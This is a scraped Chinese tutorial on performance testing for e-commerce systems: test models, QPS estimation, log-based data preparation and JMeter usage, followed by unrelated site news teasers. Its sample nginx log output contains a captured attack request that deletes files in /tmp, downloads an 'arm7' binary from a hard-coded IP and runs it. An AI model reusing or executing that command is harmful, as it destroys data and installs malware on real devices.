范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

软件测试测试开发电商业务的性能测试(一)必备基础知识

  公众号搜索:TestingStudio 霍格沃兹测试开发的干货都很硬核1. 测试步骤及模型分析1.1 测试步骤总览需求分析与测试设计(性能需求目标+业务模型拆解)测试数据准备和构造(基于模型的数据准备)性能指标预期(性能需求目标)发压工具配置及脚本编写(压力策略)测试过程(预计的前置准备过程和压测时间点规划)结果分析与测试报告1.2 测试模型分析
  如下的测试模型来简单的说明测试中需要关注的点和测试的目的
  字段说明
  1、横轴 : 代表并发数,也就对应着Jmeter里面的线程数
  2、Utizilation(U) :资源利用率
  3、Throughput(X): 吞吐量,对应QPS或TPS
  4、ResponseTime®:响应时间
  拐点分析:
  第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点
  第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。2. 步骤分析2.1 需求分析与测试设计
  此处从性能需求目标与业务模型拆解两方面着手,
  1、目标场景分类:新上线系统性能测试:要求容量测试,系统最大容量系统升级类性能测试:和基线版本对比,性能不下降新系统性能优化测试:伴随调优目标的性能测试
  注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量
  字段说明:
  基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点
  容量测试:见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量
  新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS的,产品会告诉我们 PV/UV 天。
  根据 PV、UV 再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比如工作日的8个小时时间:
  UV:或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV为1000w/天,那么高峰时段占了总用户数的80%:
  1000w * 80% / (4*3600) = 每秒的并发用户数
  PV:PV可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600
  2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)
  3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标
  4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求
  2.2、测试数据准备和构造
  数据的准备可以如下几点:
  1、接口请求参数:自己构造、日志获取、上下关联自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
  例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:
  现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:$ cat access.log | awk "{print $7}" | sort | uniq -c | sort -nr | head -15 4709 /sso/register 4703 /sso/login 157 400 139 /   8 http://www.baidu.com/cache/global/img/gs.gif   5 /index.php   4 mstshash=Administr"   4 /license.txt   4 ip.ws.126.net:443   4 "   2 /sso/getAuthCode?telephone=17138134641   2 /sso/getAuthCode?telephone=17127460936   2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7   2 /robots.txt   2 /phpmyadmin/ 复制代码上下关联:
  有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取
  2、数据表的数据填充:可以利用jmeter的高并发通过接口来提前创建数据
  3、如果是多接口,则需要结合业务场景设计请求比例:比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计。2.3、性能指标预期1.每秒请求数(QPS)2.请求响应时间(最大,最小,平均值)3.错误率4.机器性能:cpu idel30%,memory无剧烈抖动或飙升5.压测过程接口功能是否正常6.不同性能测试方式下指标预期是否有差异2.4、发压工具配置及脚本编写
  1.发压工具准备-jmeter简介
  (1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)
  (2) jmx文件为xml文件,Win,Linux环境均可运行
  (3) 多线程并发
  (4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计
  使用jmeter可以做到:压测场景:单接口/复杂事物——>场景构造压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式是否周期性:Jmeter jmx场景文件,数据驱动,结果落库二次开发需求:Jmeter开源插件化思想,支持Thrift协议支持:Dubbo等多种协议,可以快速平台化问题支持:开放社区,广泛使用2.脚本编写
  (1) HTTP
  (2) 其他
  3.命令启动,Jmeter 本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI 可以作为编写和调试脚本使用
  启压:./jmeter -n -t hb.jmx-l hb.jtl2.5 测试过程1、测试前环境检查:记录机器参数2、起压:根据被压情况,调节并发量到合适情况3、查看记录各项性能指标nginx日志查看每秒请求数 查看nginx错误请求 查看机器参数:cpu idel、mem等 查看db、cache等数据是否写入正常 访问接口,查看功能是否正常2.6 结果分析与测试报告
  1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告
  2、测试完成后,及时与相关人员沟通,确认是都满足需求
  3、发送测试报告邮件
  以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合 Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~

面积约等于北京五环以内的新加坡,GDP位列全球39名近期由于美元加息给世界经济格局又带来了剧烈震荡,作为亚洲最具投资潜力的新加坡热度再次飙升。今天我们就来分析一下,为什么新加坡具有如此独特的投资优势。01优越的区域位置新加坡地理位置长期走路能够长寿吗?提醒过了65岁的老年人,尽量做好这5件事人们常常祝福家中长辈,期愿他们能够无病无灾健康长寿,上了年纪的老年人也同样认为身体健康才是最自由最快活的事儿。很多人说起健康养生,都会先想到运动这个方法,每天坚持适量的运动是对身体小米手机各价位应该怎么选国庆节换机潮,有想法入手小米的用户但是不知道怎么选,怎么办,不要怕这篇文章会告诉你答案。一10002000价位预算一千出头就选红米note11。红米本就是小米旗下的一个主打性价比机谷歌关闭中国的翻译服务此举标志着其在世界第二大经济体中最后剩下的产品之一的终结。谷歌翻译的中国大陆专用网站现在将用户重定向到该服务的香港版本。但是,这在中国大陆是无法访问的。由于使用率低,我们将停止在中哆啦A梦的传送门指日可待?用苹果让你看懂获2022诺奖的量子纠缠北京时间2022年10月4日下午17点45分,2022年诺贝尔物理学奖在斯德哥尔摩正式揭晓,法国科学家AlainAspect美国科学家JohnF。Clauser和奥地利科学家Ant便秘有寒有热,有虚有实,用错了伤身1一定要多饮水,一天3升。2保持良好的情绪(非常关键)3早晨起来,饮一碗热水,再加上一个苹果4红心火龙果加黑咖啡酸奶5晚饭吃一碟黑木耳,或是一碗榨汁花6牛奶香蕉火龙果7香精加蜂蜜热粥虽养人,但两类人要少喝粥是个好东西。中医食疗经典著作食医心鉴中,谷类食疗方剂就有86首,运用的谷类包括红米白米青粱米白粱米粳米粟米大麦小麦等,而粥方又占63首之多。粥虽然养人,但并非人人适宜。首先,糖尿天门山之道来源人民网人民日报海外版天门山一景。资料图片湖南省张家界天门山盘山公路,据说是世界公路的极限,一共99道弯。这些弯,从绝壁转到山坳,从山坳转到悬崖,从悬崖转到峡谷转得你晕头转向,转收藏!烟台这些打卡地,好玩又好拍!国庆假期GO!节日的仪式感是借助每一个长假,留下美好的回忆在今年的最后一个国庆黄金周,如何不出远门就能享受长假的愉悦呢?文旅君为你安排!5大经典必打卡景区10大网红潮流地标4大亲子潮玩胜地5大任正非华为非常重视员工的腐朽问题长期以来,人们高度关注官员腐败,却忽视了商业腐败。很多企业存在腐败行为,主要表现为收受他人贿赂在买卖业务中偷拿回扣以权谋私花费公款,铺张浪费等。所有这些行为都是一种腐败,在社会上普偶然形成还是设计创造基因(遗传因子)是产生一条多肽链或功能RNA所需的全部核苷酸序列。基因支持着生命的基本构造和性能。基因在细胞中的作用主要有1。通过复制传递遗传信息2。通过控制蛋白质的合成表达遗传信
2022中冠排名玉溪玉昆钢铁重庆铜梁龙升级,泾川文汇第14位直播吧11月21日讯2022赛季中冠联赛结束全部争夺,玉溪玉昆钢铁和重庆铜梁龙获得前二名升入中乙,在足协杯淘汰北京国安的泾川文汇最终排名第14位。附本赛季中冠排名1玉溪玉昆钢铁2重第二届中国可信区块链安全攻防大赛决赛举行37支队伍获奖11月1920日,第二届中国可信区块链安全攻防大赛决赛在成都举行,共计37支队伍获奖。本届大赛由成都市人民政府中国信息通信研究院主办。据悉,本次大赛自9月启动,共收到来自北京上海等那些隐居的年轻人,后来怎么样了?梁铁心住在广东云浮的乡村,生活由务实和务虚的部分组成。务实是养花种菜下田劳作,务虚的部分包括写作,或单纯的发呆。(受访者供图图)近些年来,隐居成为越来越多年轻人考虑的选项。百度隐居这张餐馆小票火了!网友看呆麻辣排骨68元对牛弹琴298元近日河南一张餐馆小票在网上火了因为它是手写的但看起来几乎和机打的一样张世锋手写的餐馆结账单(视频截图)11月14日,写这张结账单的当事人张世锋表示,对45度!西伯利亚酷寒加剧,寒潮变得更强了?分析将影响30多省11月23日清晨,在我国内蒙古东北部黑龙江西北部多地降至30度以下酷寒之际,在我国以北的西伯利亚,这里的大范围酷寒还正在进一步加剧俄罗斯气象部门的监测数据显示,俄罗斯无论是西西伯利美国民众吐槽中期选举频出爆梗新华社华盛顿11月23日电美国2022年中期选举结果基本明朗,但美国民众跨越线上线下的吐槽大会意犹未尽,爆梗频出,深刻反映出他们对美国选举乱象国家现状的不满。爆梗一多花钱买胜利有研5个沉迷整容的网红,你认识的有几个?8年注射400多针玻尿酸在这个年代有一张足够漂亮的脸,确实能为我们加分不少。甚至很多家长对孩子的无限宠爱,一旦到了18岁,就把割双眼皮隆鼻等当成孩子的礼物。现在很多人年纪轻轻花费家里的钱,拿着上百万资金去被包养的女人们能获得真爱吗一早醒来,阳光已从纱窗照进房间。房里很安静,但床上的凌乱和满地的衣服提醒着我昨晚志飞来过。心里顿时升起一阵无名火,我冲进淋浴间,将水开到最大让水哗哗地洗掉他的痕迹。只是脖子和胸口上意外和明天不知哪个先到,是人总会有走的那一天,活好今天最要紧世上本无长生,你我皆是一缕精魂造就。是人总会有走的那一天,只不过走得痛苦与否?也许是明天,也许是十年之后,也许是三十年之后,谁知道呢?我们说,拥有的往往是侥幸,无常才是这个人世的常下辈子,是我好吗?极北苦寒地,万里冰封时。风夹杂着雨雪胡乱地拍下,我站在这冰天雪地中,一袭白衣与这雪景融为一体。01hr我有着极为悲惨的身世,重男轻女的家庭,父母对我并不待见。那年,山贼烧杀抢掠,父我想对你说我想对你说在这个美丽而平凡的世界里,每个人的心里都藏着很多话,我也不例外。那就让我对你说说吧!今日头条我想对你说谢谢你,让我看到了世界的美好。这句话是我写给你的,也是送给自己的。希